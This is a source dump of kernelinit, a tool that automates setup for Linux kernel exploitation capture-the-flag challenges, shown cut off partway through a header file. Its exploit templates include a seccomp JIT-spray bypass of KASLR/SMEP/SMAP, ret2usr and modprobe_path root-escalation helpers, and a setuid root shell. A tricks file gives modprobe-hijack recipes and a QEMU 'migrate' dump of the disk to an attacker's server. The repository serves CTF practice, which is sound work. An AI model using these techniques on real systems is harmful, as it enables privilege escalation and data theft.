├── kernelinit ├── __init__.py ├── templates │ ├── makeroot │ ├── exploit-src │ │ ├── main.c │ │ ├── jitspray.h │ │ ├── common.h │ │ ├── bpf_insn.h │ │ └── userfaultfd.h │ ├── makeroot.asm │ ├── Makefile │ └── kernelsymbols.c ├── main.py ├── extract-vmlinux ├── utils.py ├── unintended.py ├── runfile.py └── files.py ├── pyproject.toml ├── LICENSE ├── README.md ├── tricks.md └── .gitignore /kernelinit/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /kernelinit/templates/makeroot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Myldero/kernelinit/HEAD/kernelinit/templates/makeroot -------------------------------------------------------------------------------- /kernelinit/templates/exploit-src/main.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include "common.h" /* kernelinit */ 14 | 15 | 16 | int fd; 17 | 18 | int main () { 19 | fd = SYSCHK(open("/dev/vuln", O_RDWR)); 20 | return 0; 21 | } 22 | -------------------------------------------------------------------------------- /kernelinit/templates/makeroot.asm: -------------------------------------------------------------------------------- 1 | ; nasm -f elf64 makeroot.asm -o makeroot.o && ld -m elf_x86_64 makeroot.o -o makeroot 2 | 3 | global _start 4 | 5 | section .text 6 | _start: 7 | sub rsp, 0x18 8 | mov rax, 0x68732f6e69622f ; /bin/sh 9 | mov qword [rsp], rax 10 | mov qword [rsp+0x8], rsp 11 | mov qword [rsp+0x10], 0x0 12 | 13 | mov rax, 0x69 ; SYS_setuid 14 | mov rdi, 0 15 | syscall 16 | 17 | mov rax, 0x6a ; SYS_setgid 18 | mov rdi, 0 19 | syscall 20 | 21 | mov rax, 0x3b ; SYS_execve 22 | lea rdi, [rsp] 23 | lea rsi, [rsp+0x8] 24 | lea rdx, [rsp+0x10] 25 | syscall 26 | 27 | mov rax, 0x3c ; SYS_exit 28 | mov rdi, 42 29 | syscall 30 | -------------------------------------------------------------------------------- /pyproject.toml: -------------------------------------------------------------------------------- 1 | [tool.poetry] 2 | name = "kernelinit" 3 | version = "1.2.3" 4 | description = "A tool for automating setup of kernel pwn challenges" 5 | authors = ["Myldero"] 6 | readme = "README.md" 7 | homepage = "https://github.com/Myldero/kernelinit" 8 | repository = "https://github.com/Myldero/kernelinit" 9 | exclude = [] 10 | include = ["kernelinit/templates/*"] 11 | license = "MIT" 12 | classifiers = [ 13 | 'Environment :: Console', 14 | 'Programming Language :: Python :: 3', 15 | 'Topic :: Security', 16 | ] 17 | packages = [ 18 | { include = "kernelinit" } 19 | ] 20 | 21 | [tool.poetry.scripts] 22 | kernelinit = 'kernelinit.main:main' 23 | 24 | [tool.poetry.dependencies] 25 | python-libarchive = '^4.2.1' 26 | pexpect = '^4.8.0' 27 | vmlinux-to-elf = { git = "https://github.com/Myldero/vmlinux-to-elf.git", rev = "develop" } 28 | 29 | [build-system] 30 | requires = ["poetry-core>=1.0.0"] 31 | build-backend = "poetry.core.masonry.api" 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 Myldero 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /kernelinit/templates/Makefile: -------------------------------------------------------------------------------- 1 | # Generated by kernelinit 2 | CC = musl-gcc 3 | CFLAGS = -Wall -Wextra -Wno-unused-function -O0 -static -ggdb -masm=intel -no-pie 4 | RELEASE_CFLAGS = $(CFLAGS) -s 5 | 6 | SOURCES = $(wildcard exploit-src/*.c) 7 | OBJECTS = $(SOURCES:.c=.o) 8 | LIBS = -lpthread 9 | 10 | kernelinit/kernelsymbols.o: kernelinit/kernelconfig.h 11 | gcc -c -g -fno-eliminate-unused-debug-types -I./kernelinit "TEMPLATES_DIR/kernelsymbols.c" -o $@ 12 | 13 | debug: kernelinit/kernelsymbols.o 14 | gdb -x kernelinit/debug.gdb 15 | 16 | run: cpio 17 | ./kernelinit/my-run.sh 18 | 19 | cpio: exploit 20 | cp CPIOFILE kernelinit/my-rootfs.cpio 21 | chmod u+s kernelinit/makeroot 22 | printf 'exploit\nmakeroot\n' | cpio -D "$(PWD)"/kernelinit -A -F kernelinit/my-rootfs.cpio -o -H newc --owner=+0.+0 23 | chmod u-s kernelinit/makeroot 24 | #sed -i 's/cttyhack setuidgid 1000/cttyhack setuidgid 0/g' kernelinit/my-rootfs.cpio 25 | #gzip -f kernelinit/my-rootfs.cpio 26 | 27 | kernelinit/exploit: $(OBJECTS) 28 | $(CC) $(CFLAGS) $^ $(LIBS) -o $@ 29 | 30 | exploit: kernelinit/exploit 31 | 32 | release: $(OBJECTS) 33 | $(CC) $(RELEASE_CFLAGS) $^ $(LIBS) -o exploit 34 | gzip -9f exploit 35 | (echo -n 'echo "'; cat exploit.gz | base64; echo '"|base64 -d|gunzip>./exp;chmod +x ./exp') > b64.txt 36 | 37 | clean: 38 | rm -f kernelinit/exploit kernelinit/my-rootfs.cpio kernelinit/my-rootfs.cpio.gz kernelinit/kernelsymbols.o $(OBJECTS) 39 | 40 | .PHONY: run debug cpio exploit release clean 41 | .DEFAULT_GOAL := run 42 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # `kernelinit` 2 | A tool for automating setup of kernel pwn challenges. 3 | 4 | ## Installation 5 | Install the prerequisites. On Ubuntu, they can be installed with 6 | ``` 7 | sudo apt install pipx libarchive-dev gdb build-essential 8 | ``` 9 | 10 | Install kernelinit with pipx: 11 | ```sh 12 | pipx install git+https://github.com/Myldero/kernelinit 13 | ``` 14 | 15 | 16 | ## Usage 17 | Just run `kernelinit` in the directory of the challenge. It should hopefully automatically locate the relevant files and create the setup. 18 | 19 | Your exploit code is placed in `exploit-src` 20 | Compile and run QEMU with `make` 21 | `make debug` is just an alias for `gdb -x debug.gdb` 22 | To become root inside QEMU, run `/makeroot`, which is a setuid binary that gives you root. 23 | In some challenges, setuid binaries are stripped. In this case, try uncommenting line 24 in the Makefile. 24 | 25 | If you want to modify the exploit template, type `kernelinit -h` to get the path to the templates directory. If you change it, 26 | be wary that changes will be overwritten when you update this package. 27 | Instead, it's recommended to replace `exploit-src` with a symlink to your template. 28 | 29 | ## Unintended solves 30 | The tool may be able to find unintended solutions when the challenge author has let critical files or directories be writable to the user. 31 | A list of tricks for these cases can be seen [here](tricks.md) 32 | 33 | ## Example 34 | ``` 35 | $ ls 36 | bzImage rootfs.cpio run.sh 37 | $ kernelinit 38 | [INFO] No SMEP 39 | [INFO] No SMAP 40 | [INFO] No KASLR 41 | [INFO] Extracting vmlinux... 42 | [INFO] Running unintended checks... 43 | [INFO] Finished unintended checks 44 | [INFO] Successfully extracted vmlinux 45 | [INFO] CONFIG: FUSE_FS enabled 46 | [INFO] CONFIG: USER_NS enabled 47 | [INFO] CONFIG: kmalloc-cg- enabled 48 | $ ls -F 49 | bzImage example.ko exploit-src/ kernelinit/ Makefile rootfs.cpio run.sh* vmlinux 50 | ``` 51 | -------------------------------------------------------------------------------- /kernelinit/main.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | 4 | import argparse 5 | try: 6 | from importlib.metadata import version as _version 7 | version = _version('kernelinit') 8 | except ImportError: 9 | version = None 10 | from .runfile import RunFile 11 | from .files import create_files, cleanup_files 12 | from .unintended import do_unintended_checks 13 | from .utils import TEMPLATES_DIR, debug 14 | 15 | 16 | def main() -> None: 17 | parser = argparse.ArgumentParser(description='A tool for automating setup of kernel pwn challenges.' 18 | f' Template directory: {TEMPLATES_DIR}', 19 | add_help=False, allow_abbrev=False) 20 | parser.add_argument('-h', '--help', action='help', help="Show this help message") 21 | if version: 22 | parser.add_argument('-V', '--version', action='version', help="Show version", version=f'%(prog)s {version}') 23 | parser.add_argument('-v', '--verbose', action="store_true", help="Enable verbose output") 24 | parser.add_argument('--no-files', action="store_true", help="Only run checks. Do not create files") 25 | parser.add_argument('--no-vmlinux', action="store_true", help="Do not extract vmlinux") 26 | parser.add_argument('--clean', action="store_true", help="Clean up previously generated files and exit") 27 | parser.add_argument('--bzImage', type=str, help="Specify bzImage file") 28 | parser.add_argument('--cpio', type=str, help="Specify cpio file") 29 | parser.add_argument('--runfile', type=str, help="Specify run script") 30 | 31 | args = parser.parse_args() 32 | debug.verbose = args.verbose 33 | 34 | if args.clean: 35 | cleanup_files() 36 | return 37 | 38 | runfile = RunFile(args.runfile, args.cpio, args.bzImage) 39 | runfile.check_args() 40 | create_files(runfile, args) 41 | do_unintended_checks(runfile) 42 | 43 | 44 | if __name__ == '__main__': 45 | main() 46 | -------------------------------------------------------------------------------- /kernelinit/extract-vmlinux: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | # SPDX-License-Identifier: GPL-2.0-only 3 | # ---------------------------------------------------------------------- 4 | # extract-vmlinux - Extract uncompressed vmlinux from a kernel image 5 | # 6 | # Inspired from extract-ikconfig 7 | # (c) 2009,2010 Dick Streefland 8 | # 9 | # (c) 2011 Corentin Chary 10 | # 11 | # ---------------------------------------------------------------------- 12 | 13 | check_vmlinux() 14 | { 15 | # Use readelf to check if it's a valid ELF 16 | # TODO: find a better to way to check that it's really vmlinux 17 | # and not just an elf 18 | readelf -h $1 > /dev/null 2>&1 || return 1 19 | 20 | cat $1 21 | exit 0 22 | } 23 | 24 | try_decompress() 25 | { 26 | # The obscure use of the "tr" filter is to work around older versions of 27 | # "grep" that report the byte offset of the line instead of the pattern. 28 | 29 | # Try to find the header ($1) and decompress from here 30 | for pos in `tr "$1\n$2" "\n$2=" < "$img" | grep -abo "^$2"` 31 | do 32 | pos=${pos%%:*} 33 | tail -c+$pos "$img" | $3 > $tmp 2> /dev/null 34 | check_vmlinux $tmp 35 | done 36 | } 37 | 38 | # Check invocation: 39 | me=${0##*/} 40 | img=$1 41 | if [ $# -ne 1 -o ! -s "$img" ] 42 | then 43 | echo "Usage: $me " >&2 44 | exit 2 45 | fi 46 | 47 | # Prepare temp files: 48 | tmp=$(mktemp /tmp/vmlinux-XXX) 49 | trap "rm -f $tmp" 0 50 | 51 | # That didn't work, so retry after decompression. 52 | try_decompress '\037\213\010' xy gunzip 53 | try_decompress '\3757zXZ\000' abcde unxz 54 | try_decompress 'BZh' xy bunzip2 55 | try_decompress '\135\0\0\0' xxx unlzma 56 | try_decompress '\211\114\132' xy 'lzop -d' 57 | try_decompress '\002!L\030' xxx 'lz4 -d' 58 | try_decompress '(\265/\375' xxx unzstd 59 | 60 | # Finally check for uncompressed images or objects: 61 | check_vmlinux $img 62 | 63 | # Bail out: 64 | echo "$me: Cannot find vmlinux." >&2 65 | -------------------------------------------------------------------------------- /tricks.md: -------------------------------------------------------------------------------- 1 | # Abusing QEMU Monitor 2 | `^A c` to toggle QEMU monitor. 3 | 4 | ## Using `migrate` 5 | If QEMU has internet access, you can use the `migrate` command to send the contents of the entire disk to your own server. 6 | First, listen for connections on your server 7 | ```sh 8 | nc -lvnp 8888 > qemu.out 9 | ``` 10 | Then go into QEMU Monitor in the challenge and run 11 | ``` 12 | migrate tcp:IP:8888 13 | ``` 14 | Then you can just grep for the flag in the resulting `qemu.out` file. 15 | 16 | ## Using memory access 17 | If you cannot get the flag with the above method, you can at least use QEMU Monitor to get direct read access to the memory. 18 | * `info registers` to get registers 19 | * `info mem` to get vmmap 20 | * `info mtree` for physical mappings 21 | * `x/gx addr` to print virtual memory 22 | * `xp/gx addr` to print physical memory 23 | 24 | If the flag is in memory, this can be used to get it. Otherwise, it can at least be used to get leak. 25 | 26 | # Abusing write-access 27 | ## Write-access to `/sbin` 28 | ```sh 29 | echo -en '\xff\xff\xff\xff' > /tmp/dummy 30 | chmod +x /tmp/dummy 31 | mv /sbin/modprobe /tmp 32 | echo -en '#!/bin/sh\nchmod 777 /flag\n' > /sbin/modprobe 33 | chmod +x /sbin/modprobe 34 | /tmp/dummy 35 | cat /flag 36 | ``` 37 | 38 | ## Write-access to `/` 39 | ```sh 40 | echo -en '\xff\xff\xff\xff' > /tmp/dummy 41 | chmod +x /tmp/dummy 42 | mv /sbin /tmp/sbin 43 | mkdir /sbin 44 | echo -en '#!/bin/sh\nchmod 777 /flag\n' > /sbin/modprobe 45 | chmod +x /sbin/modprobe 46 | /tmp/dummy 47 | cat /flag 48 | ``` 49 | 50 | ## Write-access to `/bin` 51 | Usually `/sbin/modprobe` points to `/bin/busybox` 52 | ```sh 53 | echo -en '\xff\xff\xff\xff' > /tmp/dummy 54 | chmod +x /tmp/dummy 55 | cp /bin/busybox /bin/busybox2 56 | ln -sf busybox2 /bin/cat 57 | ln -sf busybox2 /bin/chmod 58 | ln -sf busybox2 /bin/sh 59 | echo -en '#!/bin/sh\nchmod 777 /flag\n' > /tmp/busybox 60 | chmod +x /tmp/busybox 61 | mv -f /tmp/busybox /bin/busybox 62 | /tmp/dummy 63 | cat /flag 64 | ``` 65 | -------------------------------------------------------------------------------- /kernelinit/templates/exploit-src/jitspray.h: -------------------------------------------------------------------------------- 1 | #ifndef _JITSPRAY_H 2 | #define _JITSPRAY_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include "common.h" 15 | 16 | #define SECCOMP_MODE_FILTER 2 17 | 18 | 19 | static void __create_jit(void) { 20 | const int N = 0xfc0; 21 | u64 *filter = (u64*)calloc(N, 8); 22 | struct prog { 23 | u16 len; 24 | u64 *filter; 25 | } rule = { 26 | .len = N, 27 | .filter = filter 28 | }; 29 | 30 | // Fill our filter with a nop sled 31 | for (int i = 0; i < N; i++) { 32 | filter[i] = 0xa8909090UL << 32; // nop; nop; nop; test al, XX; 33 | } 34 | 35 | filter[N - 8] = 0xa8e7200fUL << 32; // mov rdi, cr4; 36 | filter[N - 7] = 0xa85e036aUL << 32; // push 3; pop rsi; 37 | filter[N - 6] = 0xa814e6c1UL << 32; // shl esi, 20; 38 | filter[N - 5] = 0xa8d6f7adUL << 32; // lods; not esi; 39 | filter[N - 4] = 0xa890f721UL << 32; // and edi, esi; nop; 40 | filter[N - 3] = 0xa8e7220fUL << 32; // mov cr4, rdi; 41 | filter[N - 2] = 0xa8c3d0ffUL << 32; // call rax; ret; 42 | filter[N - 1] = 0x7fff000000000006; // RETURN ALLOW 43 | 44 | 45 | /* JIT our filter */ 46 | fork(); 47 | fork(); 48 | fork(); 49 | fork(); 50 | fork(); 51 | // 32x 52 | // 0x1000*5 * 8 * 32 > 4 MB 53 | for (int i = 0; i < 8; i++) { 54 | if(prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &rule) < 0) 55 | perror("prctl(PR_SET_SECCOMP)"); 56 | } 57 | pause(); 58 | } 59 | 60 | /* 61 | Bypass KASLR, SMEP and SMAP with 80% success rate. 62 | Returns the address to jump to for ease of use. It's always the same. 63 | */ 64 | void *jit_spray(void (*target)()) { 65 | 66 | if (fork() == 0) { 67 | SYSCHK(prctl(PR_SET_PDEATHSIG, SIGTERM)); 68 | SYSCHK(prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)); 69 | __create_jit(); 70 | _exit(0); 71 | } 72 | // Create address 73 | u64* a = mmap((void*)(3<<20), 0x1000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0); 74 | a[0] = (u64)target; 75 | sched_yield(); 76 | return (void*)0xffffffffc0400000; 77 | } 78 | 79 | #endif /* _JITSPRAY_H */ 80 | -------------------------------------------------------------------------------- /kernelinit/utils.py: -------------------------------------------------------------------------------- 1 | from typing import List, Optional 2 | import glob 3 | import os 4 | 5 | 6 | TEMPLATES_DIR = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'templates') 7 | 8 | 9 | def get_file(expr: str) -> Optional[str]: 10 | """ 11 | Recursively look for filename 12 | """ 13 | l = glob.glob(f"**/{expr}", recursive=True) 14 | if l: 15 | return l[0] 16 | return None 17 | 18 | 19 | def parameterize(cmd: str) -> List[str]: 20 | """ 21 | Create argument list from bash command 22 | """ 23 | out = [] 24 | curr = "" 25 | quote = None 26 | backslash = False 27 | for c in cmd: 28 | if backslash: 29 | if c != '\n': 30 | curr += c 31 | backslash = False 32 | elif c == '\\' and quote != "'": 33 | backslash = True 34 | elif quote is None and c in ("'", '"'): 35 | quote = c 36 | elif c == quote: 37 | quote = None 38 | elif quote is None and c in (' ', '\t'): 39 | if curr: 40 | out.append(curr) 41 | curr = "" 42 | elif c == '\n': 43 | break 44 | else: 45 | curr += c 46 | if quote: 47 | raise Exception("Unfinished quote") 48 | 49 | if curr: 50 | out.append(curr) 51 | return out 52 | 53 | 54 | def unparameterize(cmd: List[str], pretty: bool = False) -> str: 55 | """ 56 | Create bash command from argument list 57 | """ 58 | out = "" 59 | for arg in cmd: 60 | if pretty and arg.startswith("-"): 61 | out += " \\\n " 62 | elif out: 63 | out += " " 64 | if any(i in arg for i in (' ', '"', "'")): 65 | out += repr(arg) 66 | else: 67 | out += arg 68 | return out 69 | 70 | 71 | ANSI_RESET = "\u001b[0m" 72 | ANSI_YELLOW = "\u001b[33m" 73 | ANSI_BLUE = "\u001b[34m" 74 | ANSI_CYAN = "\u001b[36m" 75 | ANSI_RED = "\u001b[31m" 76 | 77 | def important(*args, **kwargs): 78 | print(f"{ANSI_YELLOW}[IMPORTANT]{ANSI_RESET}", *args, **kwargs) 79 | 80 | def info(*args, **kwargs): 81 | print(f"{ANSI_BLUE}[INFO]{ANSI_RESET}", *args, **kwargs) 82 | 83 | def debug(*args, **kwargs): 84 | if hasattr(debug, 'verbose') and debug.verbose: 85 | print(f"{ANSI_CYAN}[DEBUG]{ANSI_RESET}", *args, **kwargs) 86 | 87 | def error(*args, **kwargs): 88 | print(f"{ANSI_RED}[ERROR]{ANSI_RESET}", *args, **kwargs) 89 | 90 | def fatal(*args, **kwargs): 91 | error(*args, **kwargs) 92 | exit(-1) 93 | -------------------------------------------------------------------------------- /kernelinit/unintended.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pexpect 3 | import re 4 | 5 | from .runfile import RunFile 6 | from .utils import unparameterize, debug, info, important, error 7 | 8 | 9 | def do_unintended_checks(runfile: RunFile): 10 | """ 11 | Check for unintended solutions by enumerating file permissions 12 | """ 13 | cmd = unparameterize(runfile.create_release_run()) 14 | 15 | info("Running unintended checks...") 16 | 17 | if '$' in cmd: 18 | error("Shell variable detected in runfile. Created runfile might not work") 19 | 20 | # Try to remove the arguments with shell variables to at least try to run the unintended checks 21 | args = runfile.create_release_run() 22 | for i in range(1, len(args)): 23 | if '$' in args[i]: 24 | args[i-1] = None 25 | args[i] = None 26 | cmd = unparameterize([i for i in args if i is not None]) 27 | 28 | ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])') 29 | def send_cmd(c): 30 | child.sendline(c) 31 | child.readline() 32 | child.expect_exact(b'$ ') 33 | return ansi_escape.sub('', child.before.decode(errors='ignore')) 34 | 35 | visited = set() 36 | def get_writable(dirname, message): 37 | if dirname in visited: 38 | return 39 | visited.add(dirname) 40 | debug(f"get_writable('{dirname}')") 41 | if dirname != '/': 42 | get_writable(os.path.dirname(dirname), message) 43 | 44 | out = send_cmd(f"ls -ld '{dirname}'").strip() 45 | if 'cannot access' in out: 46 | return 47 | elif f'{dirname} -> ' in out: 48 | new_name = re.findall(f'{dirname} -> (.*\S)', out)[0] 49 | get_writable(os.path.normpath(os.path.join(os.path.dirname(dirname), new_name)), message) 50 | return 51 | perms, _, fuid, fgid, *_ = out.split() 52 | if perms[7:9] == 'rw' or fuid in (uid, uidname) or (perms[4:6] == 'rw' and fgid in (gid, gidname)): 53 | important(f"Write-access to '{dirname}'.", message) 54 | 55 | child = pexpect.spawn(cmd) 56 | try: 57 | child.expect_exact(b'$ ', timeout=30) 58 | child.sendline("echo 'kernelinit'washere") 59 | child.expect_exact(b'kernelinitwashere', timeout=5) 60 | child.readline() 61 | except Exception as e: 62 | if isinstance(e, pexpect.exceptions.TIMEOUT): 63 | reason = "time out" 64 | elif isinstance(e, pexpect.exceptions.EOF): 65 | reason = "EOF" 66 | else: 67 | reason = "unknown error" 68 | error(f"Unintended checks failed due to {reason}") 69 | debug(e) 70 | child.sendeof() 71 | child.kill(9) 72 | return 73 | my_id = send_cmd('id').strip().split() 74 | uid, *uidname = my_id[0][4:].split("(") 75 | uidname = uidname[0][:-1] if uidname else None 76 | gid, *gidname = my_id[1][4:].split("(") 77 | gidname = gidname[0][:-1] if gidname else None 78 | debug(f"uid={uid}({uidname}) gid={gid}({gidname})") 79 | get_writable('/sbin/modprobe', message='Unintended by hijacking /sbin/modprobe') 80 | get_writable('/etc/passwd', message='Unintended by overwriting /etc/passwd (If busybox is SUID)') 81 | child.sendeof() 82 | child.kill(9) 83 | info("Finished unintended checks") 84 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | .idea/ 161 | -------------------------------------------------------------------------------- /kernelinit/templates/exploit-src/common.h: -------------------------------------------------------------------------------- 1 | #ifndef _COMMON_H 2 | #define _COMMON_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | typedef uint64_t u64; 13 | typedef uint32_t u32; 14 | typedef uint16_t u16; 15 | typedef uint8_t u8; 16 | typedef int64_t i64; 17 | typedef int32_t i32; 18 | typedef int16_t i16; 19 | typedef int8_t i8; 20 | 21 | 22 | u64 kernel_base = 0xffffffff81000000; 23 | #define KADDR(addr) ((u64)(addr) - 0xffffffff81000000 + kernel_base) 24 | 25 | 26 | static void fatal (const char* msg) { 27 | perror(msg); 28 | exit(-1); 29 | } 30 | 31 | /* Assert that x is true. */ 32 | #define CHK(x) do { if (!(x)) { \ 33 | fprintf(stderr, "%s\n", "CHK(" #x ")"); \ 34 | exit(1); } } while (0) 35 | 36 | /* Assert that a syscall x has succeeded. */ 37 | #define SYSCHK(x) ({ \ 38 | typeof(x) __res = (x); \ 39 | if (__res == (typeof(x))-1) { \ 40 | fprintf(stderr, "%s: %s\n", "SYSCHK(" #x ")", strerror(errno)); \ 41 | exit(1); \ 42 | } \ 43 | __res; \ 44 | }) 45 | 46 | 47 | static void x64dump(void *buf, u32 num) { 48 | u64 *buf64 = (u64*)buf; 49 | printf("[--dump--] start\n"); 50 | for (u32 i = 0; i < num; i++) { 51 | if (i%2 == 0) { 52 | printf("%p: ", &buf64[i]); 53 | } 54 | printf("0x%016lx ",buf64[i]); 55 | if (i%2 == 1 && i+1 != num) { 56 | printf("\n"); 57 | } 58 | } 59 | printf("\n[--dump--] end\n"); 60 | } 61 | 62 | 63 | static void win() { 64 | setuid(0); 65 | setgid(0); 66 | if (getuid() != 0) { 67 | puts("[-] not root"); 68 | exit(-1); 69 | } 70 | puts("[+] win!"); 71 | char *argv[] = { "/bin/sh", NULL }; 72 | char *envp[] = { NULL }; 73 | execve("/bin/sh", argv, envp); 74 | fatal("execve"); 75 | } 76 | 77 | 78 | u64 user_cs, user_ss, user_rsp, user_rflags; 79 | static void save_state() { 80 | asm( 81 | "mov %0, cs\n" 82 | "mov %1, ss\n" 83 | "mov %2, rsp\n" 84 | "pushf\n" 85 | "pop %3\n" 86 | : "=r"(user_cs), "=r"(user_ss), "=r"(user_rsp), "=r"(user_rflags) 87 | : 88 | : "memory"); 89 | } 90 | 91 | void restore_state() { 92 | asm volatile( 93 | "swapgs\n" 94 | "mov qword ptr [rsp+0x20], %0\n" 95 | "mov qword ptr [rsp+0x18], %1\n" 96 | "mov qword ptr [rsp+0x10], %2\n" 97 | "mov qword ptr [rsp+0x08], %3\n" 98 | "mov qword ptr [rsp+0x00], %4\n" 99 | "iretq\n" 100 | : 101 | : "r"(user_ss), "r"(user_rsp), "r"(user_rflags), "r"(user_cs), "r"(win)); 102 | } 103 | 104 | char exe_path[0x100]; 105 | static void setup_modprobe(const char *filepath) { 106 | int fd; 107 | 108 | if (getenv("modprobe") != NULL) 109 | win(); 110 | 111 | // Get exploit file path 112 | SYSCHK(readlink("/proc/self/exe", exe_path, sizeof(exe_path))); 113 | 114 | // Create modprobe target 115 | fd = SYSCHK(open(filepath, O_CREAT|O_WRONLY, 0777)); 116 | dprintf(fd, "#!/bin/sh\nchown +0:+0 '%1$s' || chown root:root '%1$s'\nchmod u+s '%1$s'\n", exe_path); 117 | close(fd); 118 | } 119 | 120 | static void execute_modprobe() { 121 | // Trigger usermode helper 122 | socket(22, SOCK_DGRAM, 0); 123 | 124 | char *argv[] = { exe_path, NULL }; 125 | char *envp[] = { "modprobe=1", NULL }; 126 | execve(exe_path, argv, envp); 127 | fatal("execve"); 128 | } 129 | 130 | 131 | static void print_slab_state (const char *caches[]) { 132 | char line[0x1000]; 133 | static FILE *slabinfo = NULL; 134 | 135 | if (slabinfo == NULL) { 136 | slabinfo = fopen("/proc/slabinfo", "r"); 137 | if (slabinfo == NULL) return; 138 | } else { 139 | fseek(slabinfo, SEEK_SET, 0); 140 | } 141 | 142 | while (fgets(line, 